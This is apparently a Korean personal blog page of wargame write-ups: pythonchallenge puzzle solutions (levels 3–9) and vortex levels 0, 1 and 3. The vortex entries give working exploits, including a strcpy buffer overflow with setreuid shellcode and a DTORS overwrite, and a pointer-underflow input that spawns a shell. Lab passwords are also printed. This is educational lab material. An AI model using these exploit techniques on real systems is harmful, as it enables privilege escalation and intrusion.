Search results for 'War game'

  1. 2009.10.16 -- pythonchallenge level9
  2. 2009.10.16 -- pythonchallenge level8
  3. 2009.10.16 -- pythonchallenge level7
  4. 2009.10.03 -- vortex level3
  5. 2009.09.24 -- vortex level1
  6. 2009.09.23 -- vortex level0
  7. 2009.09.21 -- python challenge level6
  8. 2009.08.27 -- python challenge level5
  9. 2009.08.20 -- pythonchallenge level4
  10. 2009.08.19 -- pythonchallenge level3

pythonchallenge level9

2009. 10. 16. 17:58

http://www.pythonchallenge.com/pc/return/good.html

first 와 second 라는 숫자들이 있으며  first+second=?  이라고 적혀있다. 
first는146, 399, 163, 403 , 170, 393, 169, 391 이런식으로 나열되어 있다. 먼가 패턴이 있는듯 싶어서
forum의 힌트들과 구글링을 통해  이것이 픽셀을 나타내는 좌표라는 것을 알 수 있었다.
홀수번째 값과 짝수번째 값들을 zip 으로 각각 튜플을 만들어서 first와 second를 합쳐서
이미지로 만들어보았더니 소 모양의 그림이 그려졌다.

import Image import ImageDraw

first = [146,399,163,403,170,393,169,391,166,386,170,381,170,371,170,355,169,346,167,335,170,329,170,320,170,
310,171,301,173,290,178,289,182,287,188,286,190,286,192,291,194,296,195,305,194,307,191,312,190,316,
190,321,192,331,193,338,196,341,197,346,199,352,198,360,197,366,197,373,196,380,197,383,196,387,192,
389,191,392,190,396,189,400,194,401,201,402,208,403,213,402,216,401,219,397,219,393,216,390,215,385,
215,379,213,373,213,365,212,360,210,353,210,347,212,338,213,329,214,319,215,311,215,306,216,296,218,
290,221,283,225,282,233,284,238,287,243,290,250,291,255,294,261,293,265,291,271,291,273,289,278,287,
279,285,281,280,284,278,284,276,287,277,289,283,291,286,294,291,296,295,299,300,301,304,304,320,305,
327,306,332,307,341,306,349,303,354,301,364,301,371,297,375,292,384,291,386,302,393,324,391,333,387,
328,375,329,367,329,353,330,341,331,328,336,319,338,310,341,304,341,285,341,278,343,269,344,262,346,
259,346,251,349,259,349,264,349,273,349,280,349,288,349,295,349,298,354,293,356,286,354,279,352,268,
352,257,351,249,350,234,351,211,352,197,354,185,353,171,351,154,348,147,342,137,339,132,330,122,327,
120,314,116,304,117,293,118,284,118,281,122,275,128,265,129,257,131,244,133,239,134,228,136,221,137,
214,138,209,135,201,132,192,130,184,131,175,129,170,131,159,134,157,134,160,130,170,125,176,114,176,
102,173,103,172,108,171,111,163,115,156,116,149,117,142,116,136,115,129,115,124,115,120,115,115,117,
113,120,109,122,102,122,100,121,95,121,89,115,87,110,82,109,84,118,89,123,93,129,100,130,108,132,110,
133,110,136,107,138,105,140,95,138,86,141,79,149,77,155,81,162,90,165,97,167,99,171,109,171,107,161,
111,156,113,170,115,185,118,208,117,223,121,239,128,251,133,259,136,266,139,276,143,290,148,310,151,
332,155,348,156,353,153,366,149,379,147,394,146,399]

second = [156,141,165,135,169,131,176,130,187,134,191,140,191,146,186,150,179,155,175,157,168,157,163,157,159,
157,158,164,159,175,159,181,157,191,154,197,153,205,153,210,152,212,147,215,146,218,143,220,132,220,
125,217,119,209,116,196,115,185,114,172,114,167,112,161,109,165,107,170,99,171,97,167,89,164,81,162,
77,155,81,148,87,140,96,138,105,141,110,136,111,126,113,129,118,117,128,114,137,115,146,114,155,115,
158,121,157,128,156,134,157,136,156,136]

im = Image.new("RGB", (512, 512), "brown")

draw = ImageDraw.Draw(im)
draw.line(zip(first[0::2], first[1::2]))
draw.line(zip(second[0::2], second[1::2]))
im.save('result.png')
im.show()



http://www.pythonchallenge.com/pc/return/bull.html


'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level14  (0) 2009.11.17
pythonchallenge level13  (0) 2009.10.22
pythonchallenge level12  (0) 2009.10.22
pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level6  (0) 2009.09.21
python challenge level5  (0) 2009.08.27
pythonchallenge level4  (0) 2009.08.20

badcob War game/pythonchallenge

pythonchallenge level8

2009. 10. 16. 09:27

http://www.pythonchallenge.com/pc/def/integrity.html

벌 그림이 있고. 그림을 클릭하면 인증 창이 나온다. 인증 창에 써있는 inflate 라는 단어로 검색을 해보니 파일 압축과 관련되 있음을 알 수 있었다. 벌(bee)과 발음이 비슷한 모듈인 bz2 를 이용해서 html 소스에 있는 압축된 문자열을 풀어보았다.
bz2 모듈의 사용법은
http://effbot.org/librarybook/bz2.htm 를 참고.

import bz2
un = 'BZh91AY&SYA\xaf\x82\r\x00\x00\x01\x01\x80\x02\xc0\x02\x00 \x00!\x9ah3M\x07<]\xc9\x14\xe1BA\x06\xbe\x084'
pw ='BZh91AY&SY\x94$|\x0e\x00\x00\x00\x81\x00\x03$ \x00!\x9ah3M\x13<]\xc9\x14\xe1BBP\x91\xf08'

print bz2.decompress(un)
print bz2.decompress(pw)


huge
file      

http://www.pythonchallenge.com/pc/return/good.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level13  (0) 2009.10.22
pythonchallenge level12  (0) 2009.10.22
pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level6  (0) 2009.09.21
python challenge level5  (0) 2009.08.27
pythonchallenge level4  (0) 2009.08.20
pythonchallenge level3  (0) 2009.08.19

badcob War game/pythonchallenge

pythonchallenge level7

2009. 10. 16. 02:12

http://www.pythonchallenge.com/pc/def/hockey.html

문제의 링크에는  it's in the air. look at the letters. 라고 적혀있다.
공기중에 있는것. oxygen를 url로 입력해보았다.

http://www.pythonchallenge.com/pc/def/oxygen.html

가운데 회색 바가 수상해 보이는 그림 파일 하나가 나온다. Python Imaging Library (PIL)를 사용해
회색 바 부분만을 뽑아내 보자. getpixel method를 사용하면 픽셀별로 RGB값을 튜플로 얻어낼 수 있다.

The Other RGB Color Chart (http://www.tayloredmktg.com/rgb/)에 보면 Gray의 RGB 코드는
190-190-190 이다. 먼저 그림의 세로 픽셀을 조사해서 190-190-190이 나오는 부분을 찾은 뒤에
가로 픽셀을 조사해서 RGB 코드가 다른 값이 나오는 부분까지 구한다. 그렇게 구한 회색바 픽셀들의
RGB 값을 chr 함수로 캐릭터로 바꾸면 읽을 수 있는 문자열들이 보인다.

사용한 코드는 아래와 같다.

import Image
im = Image.open("oxygen.png")
print im.size
x = im.size[0]
y = im.size[1]
print x,y

i=0
j=0
while i < y:
      pix1 = im.getpixel((0,i))
      if pix1[0] == pix1[1] == pix1[2]:
          break
      i += 1

while j < x:
    pix2 = im.getpixel((j,i))
    if not pix2[0] == pix2[1] == pix2[2]:
        break
    j += 1
    
print j,i

temp = ''
result = ''

for a in range(0,j,7):
  pixel = im.getpixel((a,i))
  temp = chr(pixel[1])
  result +=temp
print result



위의 코드를 실행하면 반복된 문자열들이 나타난다.

sssssmmmmmmmaaaaaaarrrrrrrttttttt       ggggggguuuuuuuyyyyyyy,,,,,,,      
yyyyyyyooooooouuuuuuu       mmmmmmmaaaaaaadddddddeeeeeee       iiiiiiittttttt.......      
ttttttthhhhhhheeeeeee       nnnnnnneeeeeeexxxxxxxttttttt       llllllleeeeeeevvvvvvveeeeeeelllllll   
   
이것은 for문에서 range(0,j,7) 이렇게 바꿔서 깔끔하게 볼 수 있었다.

smart guy, you made it. the next level is [105, 110, 116, 101, 103, 114, 105, 116, 121]

숫자들을 캐릭터로 바꿔보면 integrity 임을 알 수 있다.

http://www.pythonchallenge.com/pc/def/integrity.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level12  (0) 2009.10.22
pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
python challenge level6  (0) 2009.09.21
python challenge level5  (0) 2009.08.27
pythonchallenge level4  (0) 2009.08.20
pythonchallenge level3  (0) 2009.08.19
pythonchallenge level2  (0) 2009.08.17

badcob War game/pythonchallenge

vortex level3

2009. 10. 3. 06:07

*
* 0xbadc0ded.org Challenge #02 (2003-07-08)
*
* Joel Eriksson <je@0xbadc0ded.org>
*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

  unsigned long val = 31337;
  unsigned long *lp = &val;
 
 int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
         char buf[128];
         if (argc != 2)
             exit(1);
        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
               exit(2);
        tmp = *lpp;
       **lpp = (unsigned long) &buf;
         *lpp = tmp;
         exit(0);
}

level3의 소스. strcpy를 이용한 BOF 가 가능할 것으로 보인다. 서버에서 디버깅을 해보았다.

0x0804835c <main+0>:    push   %ebp
0x0804835d <main+1>:    mov    %esp,%ebp
0x0804835f <main+3>:    sub    $0x98,%esp             스택을 0x98만큼 확장
0x08048365 <main+9>:    and    $0xfffffff0,%esp       
0x08048368 <main+12>:    mov    $0x0,%eax           
0x0804836d <main+17>:    sub    %eax,%esp
0x0804836f <main+19>:    movl   $0x80494a0,-0xc(%ebp)    0x80494a0 의 값을 lpp(ebp) -12 에 넣는다.
0x08048376 <main+26>:    cmpl   $0x2,0x8(%ebp)               argc(ebp + 8)와 2를 비교
0x0804837a <main+30>:    je     0x8048386 <main+42>         
0x0804837c <main+32>:    sub    $0xc,%esp
0x0804837f <main+35>:    push   $0x1
0x08048381 <main+37>:    call   0x804828c exit@plt      argc가 2가 아니면 exit 호출.
0x08048386 <main+42>:    sub    $0x8,%esp                     
0x08048389 <main+45>:    mov    0xc(%ebp),%eax           argv[0]을 eax에 넣는다.
0x0804838c <main+48>:    add    $0x4,%eax                    argv[0] + 4
0x0804838f <main+51>:    pushl  (%eax)                           argv[1]의 주소를  스택에 넣는다.
0x08048391 <main+53>:    lea    -0x98(%ebp),%eax         ebp - 0x98 (152) 의 주소를 eax에 push
0x08048397 <main+59>:    push   %eax                            
0x08048398 <main+60>:    call   0x804829c <strcpy@plt>     strcpy 호출
0x0804839d <main+65>:    add    $0x10,%esp
0x080483a0 <main+68>:    mov    -0xc(%ebp),%eax            lpp 를 eax로 옮기고
0x080483a3 <main+71>:    and    $0xffff0000,%eax          0xffff0000 와 and 연산
0x080483a8 <main+76>:    cmp    $0x8040000,%eax       0x8040000 와 같으면
0x080483ad <main+81>:    je     0x80483b9 <main+93>   main + 93 으로 jump
0x080483af <main+83>:    sub    $0xc,%esp             
0x080483b2 <main+86>:    push   $0x2                           
0x080483b4 <main+88>:    call   0x804828c <exit@plt>     exit(2);
0x080483b9 <main+93>:    mov    -0xc(%ebp),%eax          lpp를 eax로
0x080483bc <main+96>:   mov    (%eax),%eax                lpp가 가리키는 값을 eax로 넣는다
0x080483be <main+98>:    mov    %eax,-0x10(%ebp)       eax 를 ebp - 0x10으로 (tmp = *lpp)
0x080483c1 <main+101>:    mov    -0xc(%ebp),%eax
0x080483c4 6 <main+106>:    lea    -0x98(%ebp),%eax      buf의 주소(ebp - 98)를 eax에 넣는다
0x080483cc <main+112>:    mov    %eax,(%edx)             eax를 edx가 포인팅하는 주소로(**lpp = &buf)
0x080483ce <main+114>:    mov    -0xc(%ebp),%edx      lpp를 edx로
0x080483d1 <main+117>:    mov    -0x10(%ebp),%eax   tmp를 eax로
0x080483d4 <main+120>:    mov    %eax,(%edx)          tmp의 값을 lpp가 가키리는 곳에 넣는다 *lpp = tmp
0x080483d6 <main+122>:    sub    $0xc,%esp
0x080483d9 <main+125>:    push   $0x0
0x080483db <main+127>:    call   0x804828c <exit@plt>
End of assembler dump

스택의 모습을 그려보면 아래와 같다.

[buf ] [ dummy] [ tmp ] [ lpp ] [ dummy ] [ebp] [ret]
  128          8           4           4          8           4       4 


먼저 기본적인 BOF를 시도해보았다.

[shellcode] [NULL] [lpp] [padding][shellcode`s address]
     34              106     4           12                  4


/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1
\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f
\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\xa0\x94\x04\x08'
+'\x90'*12+'\x40\xf5\x7f\xbf'"`

Shellcode는 shell-storm.org에서 setreuid 를 사용한 34 바이트 짜리를 사용.
(http://www.shell-storm.org/shellcode/files/shellcode-399.php)

세그먼트 폴트가 발생하며 종료되었다. 확인해보니 return address 가  buf의 주소로 바뀌었지만 쉘은 떨어
지지 않았다. 아마도 exit 함수로 바로 종료되기 때문일 것이다.

문제에 첨부된 문서대로 DTOR_END를 이용해보자

DTOR_END의 주소는 08049574에서 4를 더한 08049578 이다.

[shellcode] [NULL] [lpp]

/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89
\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68
\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x78\x95\x04
\x08
'
"`

위와 같이 실행하면 0x080483cc 에서 세그 폴트가 발생한다.  0x080483cc는 바로 이 부분이다.

**lpp = (unsigned long) &buf;

DTOR_END의 주소인 08049578을 그대로 써주면 이 주소에 있는 값인 0 이 포인팅하는 곳에 값을 넣으려해서
 에러가 발생하게 된다. 원하는 곳을 가리키기 위해서 08049578를 가리키는 0804xxxx 주소가 필요하다.

어디서 이 주소를 구할수 있을까 한참을 삽질하다 스파게티코더님 블로그(http://semtle.tistory.com/146)
에서 원하는 정보를 얻을 수 있었다.

"용자여.. __DTOR_END__ 를 가리키고 있는 p.0 섹션이라는게 존재한답니다."

아 이런녀석이 있는지 전혀 몰랐다.. objdump로 .data 영역의 컨텐츠를 긁어봐도 p.0 섹션을 확인할 수 있다.



최종적으로 요렇게 입력해서 2YmgK1=jw 라는 패스워드를 겟

/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x98\x94\x04\x08'"`


 

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

vortex level1

2009. 9. 24. 03:10

엉뚱하게 깊이 들어가서 상당히 헤멨다.

main함수에서 선언한 두 buf 와 ptr이 스택에 생성된 모습을 그려보면 쉽게 포인트를 잡을 수 있다.


unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;


스택에 쌓인 모습은 대충 이런식일 것이다.


---------------         High addresss
ret
---------------
ebp
---------------
buf
---------------
ptr
---------------
x
---------------        Low address


ptr은 buf 의 주소 + 256 의 위치를 가르키고 있는데
case '\\': ptr--; break;  이 구문에 의해 ptr의 값을 낮출 수가 있다.
스택은 높은주소에서 낮은 주소로 자라기 떄문에 ptr의 값을 계속 낮추다 보면
buf의 영역을 넘어서 ptr을  자신을 가리키게 된다.


그 상태에서 아무 값이나 입력하면
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
요기에 걸려서 ptr이 포인팅하는 곳, 즉 ptr의 주소에 입력한 값을 넣게 된다.


매크로 함수 e() 를 보자.


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }


ptr과 0xff000000을 AND 연산해서 0xca000000과 같으면 { } 안의 구문을 실행 시켜 쉘을 획득하게 된다. 0xff는 11111111이므로  AND 연산해서 0xca가 나오는 것은 0xca 자신 뿐이다.

ptr은 buf + 256 의 주소값을 가지고 있어서 -257을 하면 ptr 자신을 가리킬 것이다.
주소값은 4바이트에 Little endian 이므로 16진수 형태로 CA 를 넣게되면  ptr 주소의 첫 1바이트를 바꿀 수 있어서 쉘을 얻을 수 있을 것이다.


처음엔 이렇게 시도를 해보았다.

  perl -e 'print "\\"x257,"\xca"'|./level1

그냥 All done 출력하고 끝이난다.  흠.. 기대한 결과가 나오질 않았다. 이상하다 싶어서 코드를 조금 수정해서 로컬에서 주소값을 찍어보았다.



원하는대로 주소가 ca로 시작하는 것을 볼 수 있다. 값을 더 입력해보면..


perl -e 'print "\\"x257,"\xca","\xca"'|./level1


 


오.. 쉘이 실행되는 것을 볼 수 있다. 왜 이런 현상이 생길까 곰곰히 생각해 보았다.
사실 문제를 풀때 코드를 자세하게 보지 않는 짓을 자주 저지른다. 이번에도 마찬가지였다.

default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break; 

default 구문에서 먼저 실행되고 나서 ptr에 x 를 집어 넣는다. 따라서 "\xca"를 입력하면 ptr의 값에
들어가게 되고, 
한번 더 입력하면 다시 default 문에 걸려서 e() function이 실행된다.  으.. 삽질을..

그런데 막상 타겟 서버에서 이렇게 입력하니 shell 이 잠시 떨어졌다가 바로 종료된다.
문제가 무엇일까 생각하다 You may need to consider how bash handles EOF.. 라는
힌트에 주목했다. 표준 출력을 파이프를 통해 입력으로 넘길때 EOF가 같이 넘어가서 바로
종료되는 듯 했다.


(perl -e 'print "\\"x257,"\xca","\xca"';cat)|./level1


따라서 표준 입력으로 집어넣을때 cat을 이용해서 종료되지 않도록 실행해 보았더니 쉘이
떨어졌다!!  README에 적힌대로 /etc/vortex_pass/vortex2 를 읽으면 23anbT\rE 라고
적힌 패스워드를 확인할 수 있다.

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level0  (0) 2009.09.23

badcob War game/vortex

vortex level0

2009. 9. 23. 00:24

  1. Your goal is to connect to port 5842 on vortex.labs.pulltheplug.org and read in 4 unsigned integers. Add these integers together and send back the results to get a username and password for level 1.

    level0의 목표는 서버에 접속해서 unsigend integer 4바이트를 읽어서 합친후에 서버로 전송해주면
    된다. 쉽게 클리어 할  수 있을 것이라 생각했는데 좀처럼 원하는 결과가 나오질 않았다.

    확인해 보니 recv 한 버퍼의  값들이 전부 이상하게 찍힌다. 자금까지 exploit를 만들때는

    unsigned
    char recv[512]= {0, };   
    .......
     if((str_len = read(sock, recv, 64))==0)
             
     error_handling("read() error!");

    위와 같이 unsigned char 형태의 배열을 read함수의 2번째 인자로 줘서 사용했다.
    역시나 이 코드를 사용했기에 읽어오는 부분을 한번 의심해 보았다.

    read 함수의 원형이다.

    ssize_t read(int filedes, void *buf, size_t nbytes);

    void *buf 를 보니 먼가 감이 왔다. 문제에서도 데이터형을 정확하게 알려준것도 의심스럽고 해서
    unsigned integer 로 선언해서 char *로 캐스팅하니 값이 제대로 찍혔다.

    Username : vortex1  Password:  Gq#qu3bF3


#include <stdio.h>  
#include <stdlib.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <string.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netdb.h>


#define SERVER "vortex.labs.pulltheplug.org"
#define PORT "5842"  
#define TRUE 1  

void error_handling(char *message);  

int main(int argc, char **argv) {  

    int sock;  

    int str_len;  
    int option;  
    socklen_t optlen;  

    struct hostent *myent;
    struct in_addr myen;
    long int *add;

    unsigned int number, count; 
    unsigned int total;

    struct sockaddr_in serv_addr;  

    /************* socket initialize and connect ****************/      


    if(!(myent = gethostbyname(SERVER)))
    {
        printf("gethostbyname error\n");
        exit(0);
    }

    add = (long int*)*myent->h_addr_list;
    myen.s_addr = *add;
    
    sock=socket(PF_INET, SOCK_STREAM, 0);  
    if(sock == -1)  
        error_handling("socket() error");  

    optlen = sizeof(option);  
    option = TRUE;  

    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &option, sizeof(option));  
    memset(&serv_addr, 0, sizeof(serv_addr));  

    serv_addr.sin_family=AF_INET;  
    serv_addr.sin_addr.s_addr=inet_addr(inet_ntoa(myen));  
    serv_addr.sin_port=htons(atoi(PORT));  

    if(connect(sock, (struct sockaddr*)&serv_addr,sizeof(serv_addr))<0)  
        error_handling("connect() error!");  

    /****************** main start ********************/  
    

    total = 0;
    count = 0;
    while(count <4){
    if((str_len = read(sock, (char *)&number, sizeof(unsigned int)))==0)     
        error_handling("read() error!");  

    printf("Message from server : %d \n", number);   

    memset(recv, 0x00, 64);
    count++;
    total += number;
    }

    printf("total = %d\n", total);
    
    if((str_len = write(sock, (char *)&total, sizeof(unsigned int))) == -1) ///write 1  
        error_handling("write() error");  
    
    if((str_len = read(sock, recv, 64))==0)     
        error_handling("read() error!");  

    printf("Message from server : %s \n", recv);   
   
    close(sock);  
    return 0;  
}  

void error_handling(char *message)  
{  
    fputs(message, stderr);  
    fputc('\n', stderr);  
    exit(1);  
}

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24

badcob War game/vortex

python challenge level6

2009. 9. 21. 01:25

 http://www.pythonchallenge.com/pc/def/channel.html

지퍼가 반집 열려있는 사진 한장을 달랑 볼 수 있다. 소스를 보니 zip 이라는 단어가 적혀 있었다.
혹시나 해서 아래의 url 을 입력해 보았다.
http://www.pythonchallenge.com/pc/def/zip.html

yes. find the zip.  

zip 파일을 찾으란다. 몇번의 삽질 끝에

http://www.pythonchallenge.com/pc/def/
channel.zip 에서 파일을 받을 수 있었다.

이 압축파일안에는 텍스트 파일들이 들어있는데 그안에는 숫자들이 적혀있다.
Readme 파일을 읽어보면 앞서 풀었던 문제와 거의 유사한 형태임을 알 수 있다.
90052부터 순서대로 파일을 읽어나가던 중 한가지 문제에 봉착했다.

숫자 대신에 Collect the comments 라는 글귀가 적혀있는 것이다. 한참 골머리를 앓다가
빵집으로 열어서 봤더니 설명 탭에 한글자씩 적혀있는것이 보인다.  아 이게 comment 구나 싶어
한글자씩 모아서 합쳐보았더니 hockey 라는 단어가 화면에 크게 출력되었다.

import zipfile
import re

def get_comment(file_name):
    tmp = file.getinfo(file_name)
    return tmp.comment
    
try:
    file = zipfile.ZipFile("channel.zip","r")
    nothing = '90052'
    txt = '.txt'
    result = ''

    while 1:
        name = nothing + txt
        data = file.read(name)
        temp = re.findall("[0-9]+",data)
        nothing = temp[0]
        result += get_comment(name)
    
except:
    print ''
    print result
 


포인트는 zipfile 인스턴스를 만든후 getinfo method로 comment attributes를 뽑아내면 된다. 

http://www.pythonchallenge.com/pc/def/hockey.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level5  (0) 2009.08.27
pythonchallenge level4  (0) 2009.08.20
pythonchallenge level3  (0) 2009.08.19
pythonchallenge level2  (0) 2009.08.17
pythonchallenge level1  (0) 2009.08.17

badcob War game/pythonchallenge

python challenge level5

2009. 8. 27. 00:20

http://www.pythonchallenge.com/pc/def/peak.html

pronounce it 이라고 적혀진 페이지가 있다.

소스를 보면 아래의 내용을 볼 수 있다.

<peakhell src="banner.p"/>
<!-- peak hell sounds familiar ? -->

banner.p
파일을 다운받아서 보았지만 별다른 힌트는 없어보였다
peakhell 이 도대체 뭘까.. 이리저리 고민하다가 forum의 hint 페이지를 찾아보았다.
(http://www.pythonchallenge.com/forums/)

힌트 없냐는 말에 누군가가 "Try browsing "Global Modules Index" 라는 코멘트를 달아놓았다.

Global Module 중에 peakhell과 비슷한 발음이 나는 녀석을 찾다보니 PICKLE 이라는 녀석이 있었다.

PICKLE 에 대한 설명은 http://docs.python.org/library/pickle.html 에서 볼 수 있다.
간략히 말하면 pickle module은 python object serialization 으로 파이썬 객체를  바이트 스트림으로 바꿀 수 있다. (unplckling 이라 하면 이 반대의 과정을 의미한다)

이점에 착안해서 banner.p를 읽어와서 이를 unpickling 해보았다.


import pickle

f = open("banner.p",'rb')
result = pickle.load(f)
list_length = len(result)
i=0
temp = ()
while i < list_length:
	tuple_length  = len(result[i])
	j = 0
	word = ''
	while j < tuple_length: 
		temp = result[i][j]
		j+=1
		k = 0
		while k < temp[1]:
			if temp[0] ==' ':
				word += ' ' 				
			else:
				word += temp[0]
			k+=1
	print word
	i+=1


코드를 수행하면 banner command를 실행한 것처럼 channel 이라고 크게 찍히는 문자열을 볼 수 있다.

http://www.pythonchallenge.com/pc/def/channel.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level6  (0) 2009.09.21
pythonchallenge level4  (0) 2009.08.20
pythonchallenge level3  (0) 2009.08.19
pythonchallenge level2  (0) 2009.08.17
pythonchallenge level1  (0) 2009.08.17

badcob War game/pythonchallenge

pythonchallenge level4

2009. 8. 20. 02:01

http://www.pythonchallenge.com/pc/def/linkedlist.php

소스 보기를 하면 level4의 힌트가 적혀있다

urllib may help. DON'T TRY ALL NOTHINGS, since it will never end.
400 times is more than enough.


화면에 있는 그림을 클릭했더니 get 메소드로 nothing 이라는 값에12345를 넘겨주며 (<a href="linkedlist.php?nothing=12345">) nothing의 다음 값을 알려준다.

and the next nothing is 92512

이처럼 페이지에 나온 문자열을 정규표현식으로 파싱해서 nothing에 집어넣은후 계속 쿼리를 날려보았다.
중간 중간에 나오는 트릭에 대한 처리를 하면서  peak.html 이라고 나오는 것을 확인하였다.

http://www.pythonchallenge.com/pc/def/peak.html


import urllib
import re

def get_page(number):
	while 1:
		i = 0
	 	url = "http://www.pythonchallenge.com/pc/def/linkedlist.php?nothing=%s" % number
	 	f = urllib.urlopen(url)
		print url
		file = f.read()
		print file
		text = re.findall("next nothing is \d+",file)
		if text:
			text_last = text[0]
			number_list = re.findall("[0-9]+",text_last)
			number = ''
			while 1:
				number += number_list[i]
				i +=1
				if i == len(number_list): break
		else:
			text = re.findall("Yes", file)
			if text:
				number = 92118/2
			else:
				break
				
num = 12345
get_page(num) 




'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level6  (0) 2009.09.21
python challenge level5  (0) 2009.08.27
pythonchallenge level3  (0) 2009.08.19
pythonchallenge level2  (0) 2009.08.17
pythonchallenge level1  (0) 2009.08.17

badcob War game/pythonchallenge

pythonchallenge level3

2009. 8. 19. 20:22

http://www.pythonchallenge.com/pc/def/equality.html

3번문제의 힌트는 아래와 같다. 소스를 살펴보면 level2 와 비슷하게 매우 긴 문자열을 볼 수 있다.

One small letter, surrounded by EXACTLY three big bodyguards on each of its sides

글자 그대로 해석하면 원하는 문자열은 XXXxXXX 형태일 것이다.  Forum에 올라온 힌트는 정규식을 이용
하라고 나와있다. 가깝고도 먼 그대.. 정규표현식T_T

[A-Z]{3}[a-z][A-Z]{3} 요런식으로 만들어서 매칭시켜보니 무려 477개나 되는 문자가
발견되었다. 힌트를 곰곰히 읽어보니 Exactly 가 유독 대문자로 써 있다. 이말은 대문자의 갯수가 정확히
3개 여야 한다는 뜻이다. 따라서 xXXXxXXXx 요런 형태로 다시 찾아보았다.

import re

str = """ ......................."""

keyword = re.findall("[a-z][A-Z]{3}[a-z][A-Z]{3}[a-z]",str)

i = 0
word = ''
temp = ''
length = len(keyword)
while 1:
         temp = keyword[i]
	word += temp[4]
	i+=1
	if i == length: break

print word


위의 코드를 실행하면 최종 문자열로 linkedlist 가 찍힌다.

http://www.pythonchallenge.com/pc/def/linkedlist.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level6  (0) 2009.09.21
python challenge level5  (0) 2009.08.27
pythonchallenge level4  (0) 2009.08.20
pythonchallenge level2  (0) 2009.08.17
pythonchallenge level1  (0) 2009.08.17

badcob War game/pythonchallenge